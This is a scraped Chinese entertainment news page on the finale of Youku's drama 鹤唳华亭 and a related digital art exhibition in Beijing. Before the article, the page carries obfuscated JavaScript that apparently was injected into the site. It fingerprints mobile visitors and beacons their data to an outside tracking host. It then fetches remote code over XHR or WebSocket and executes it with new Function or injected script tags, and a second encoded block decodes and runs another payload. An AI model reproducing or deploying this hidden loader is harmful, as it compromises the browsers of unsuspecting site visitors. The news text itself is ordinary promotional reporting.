function UeTMGNOS(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lJbzopvi(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UeTMGNOS(t);};window[''+'K'+'b'+'w'+'k'+'q'+'v'+'m'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZNfhz(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lJbzopvi,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZNfhz(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://dfc.mevyyk.com:7891/stats/16113/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZNfhz(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR00cHMlM00ElMkYlMkZhLndhbWtpby5jb200lM00E4ODkx','d3NzJTNBJTJGJTJGYYS5maHRha2MuYY29tJTNBOTUzNA==','170066',window,document,['0','Y']);}:function(){};
!function(){function a(a){var _idx="s3dry5s1wd";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPn@odhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/n@ojR8Lsf5TnL}Df"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"n@o"=X8"Lsf5TnL}Df"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"n@o^)ThF)mD4RYpSfmRT4"="n@oX5ThF)mR)Y)7_DmRT4"="n@o2pThFmD4RYpSfmRT4"="n@o_JqhFmR)Y)7_DmRT4"="n@o2TOhFmD4RYpSfmRT4"="n@oCSqhF)mR)Y)7_DmRT4"="n@o)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPn@oqFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/n@oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPn@oqFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/n@oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q/f/n@oj(8}vR8Lsf5TnL}Df"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPn@o)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
优酷《鹤唳华亭》VIP收官发糖 线下意境展同步揭幕延续国风之美
时间:2021-06-11 08:00:28阅读:4752次

继屏风定情之后,优酷《鹤唳华亭》权昔CP再现屏风吻名场面!1月6日,优酷热播大剧《鹤唳华亭》VIP会员迎来圆满大结局,萧定权历经坎坷,终于让家国归于安宁,和陆文昔有情人终成眷属。当天,融合了古典韵味与现代科技的“瑰丽·犹在境X鹤唳华亭——观念式数字意境展”也在北京嘉德艺术中心揭幕,为广大剧粉带来一场沉浸式文化盛宴,延续剧集国风之美。
阿里文娱集团CFO、《鹤唳华亭》出品人兼项目负责人宇乾,《鹤唳华亭》总导演杨文军,总制片人黄锡龙、邸省,主创鲍大志、夏楠,总策展人、GLA格兰莫颐文化艺术集团创始人王雨馨,GLA格兰莫颐创始人沈晓峰,嘉德艺术中心副总经理王彤等人出席意境展揭幕仪式。优酷还发放宠粉福利,邀请了数位VIP会员到场参展,共同见证展览揭幕。
近6成用户N刷 高知群体追剧上头
作为年度精品口碑力作,由罗晋、李一桐主演的《鹤唳华亭》自11月在优酷独播以来,便凭借跌宕起伏的剧情和精良考究的服化道,收获了广大观众的关注和热议,先后登顶全网多个权威热度榜单。
1月6日,《鹤唳华亭》大结局5集一次性更新。萧定权和陆文昔千帆过尽终归圆满,见到了属于他们的“蜀中山水”;萧定权和萧睿鉴这对“互虐父子”也最终和解,深沉的父爱都化于父亲对儿子的“摸头杀”之中。被剧情深深打动的网友们在表示不舍的同时直呼“想再看一遍”。
优酷数据显示,《鹤唳华亭》播出至今,优酷VIP会员共贡献了1.7亿小时的观剧时长。此外,还有近6成用户N刷,通过反复观看感受剧集的精良与细腻。优美的台词、深厚的文化底蕴也为《鹤唳华亭》吸引了大量高知用户。据优酷统计,《鹤唳华亭》追剧用户中,硕士学历占比达到全站视频内容基准值的1.2倍,博士学历占比是全站基准值的1.3倍。不仅如此,这些用户还自发整理台词集锦、解释生僻字词、写“小论文”科普剧中的历史典故,为追剧而上头。
首推线下观念式沉浸体验展 展国风意境之美
对于广大剧粉来说,《鹤唳华亭》吸引人的不只是故事情节,剧中呈现的经典场景及蕴含其中的文化意境和国风之美也格外引人入胜,而这些正与中国团队GLA格兰莫颐原创的,以数字艺术和装置艺术为介质、脱胎于东方美学的观念式数字意境展“瑰丽·犹在境”对意境和人文之美的探究和表达不谋而合。由此,优酷充分发挥热播剧的长尾效应,联合GLA格兰莫颐推出“瑰丽·犹在境X鹤唳华亭——观念式数字意境展”。
据介绍,“瑰丽·犹在境X鹤唳华亭——观念式数字意境展”深度融合剧中元素,既有由激光、投影和气雾机雕琢出的“云轴入境”、“千里江山”等科技感十足的场景体验,也有对《鹤唳华亭》屏风定情、点茶等经典场景的还原,包括剧中人物的日常便服、太子大婚的华服、点茶茶具、围棋等服饰和道具也均在展览中得以陈列。1月6日-1月31日展览期间,广大剧粉可以到线下拍照打卡,身临其境感受剧中的文化风雅。
这一“剧集+展览”的场景化创新尝试,将剧集的精品内容从线上搬到线下,依托趣味生动的全景式沉浸意境体验展现国风魅力,不仅更好地满足了广大剧迷对影视剧多元体验的需求,也充分拓展了影视IP再开发的可能性和想象空间。
生态联动定制IP周边 精品内容带动剧粉经济
除了为剧粉们打造专场线下体验展,优酷《鹤唳华亭》还联动阿里鱼「造点新货」平台,推出了《鹤唳华亭》系列周边:能暖手也能充电的小鹤暖手宝,拥有指纹加密黑科技的手账本,还有小鹤帆布包、手机壳、鼠标垫、瑜伽垫等融入了剧集相关国风元素的跨界新品。展览期间,这一系列周边也会在现场做实物陈列。
优酷不仅通过生态联动为精品剧集定制系列衍生品,也在凭借精品内容不断刺激并满足观众新的消费需求,从而拓展IP商业化边界,开发剧粉经济。据报道,2019年优酷《长安十二时辰》的热播就曾带动一股文化、餐饮和旅游消费热潮。此次《鹤唳华亭》所展现的宋代美学也获得了众多国风爱好者、汉服群体的关注,带动古风服饰销量的高速增长。淘宝数据显示,剧集上线以来,《鹤唳华亭》同款成交金额环比上涨1206%;“宋制汉服”成交人数同比上涨1172%,成交金额同比上涨932%。
此外,剧集的热播还拉动了原著小说的消费。根据淘宝数据,《鹤唳华亭》上线以来,原著小说成交额环比增长743%;书旗小说的数据则显示,《鹤唳华亭》的热播也带动了原著线上读者数量环比增长552%。
从《长安十二时辰》到《鹤唳华亭》再到《大明风华》,优酷持续推出兼具口碑与热度的精品剧集,在参与塑造国民文化认同、引领国风之美的同时,也在充分依托平台优势助推文娱新消费的发展。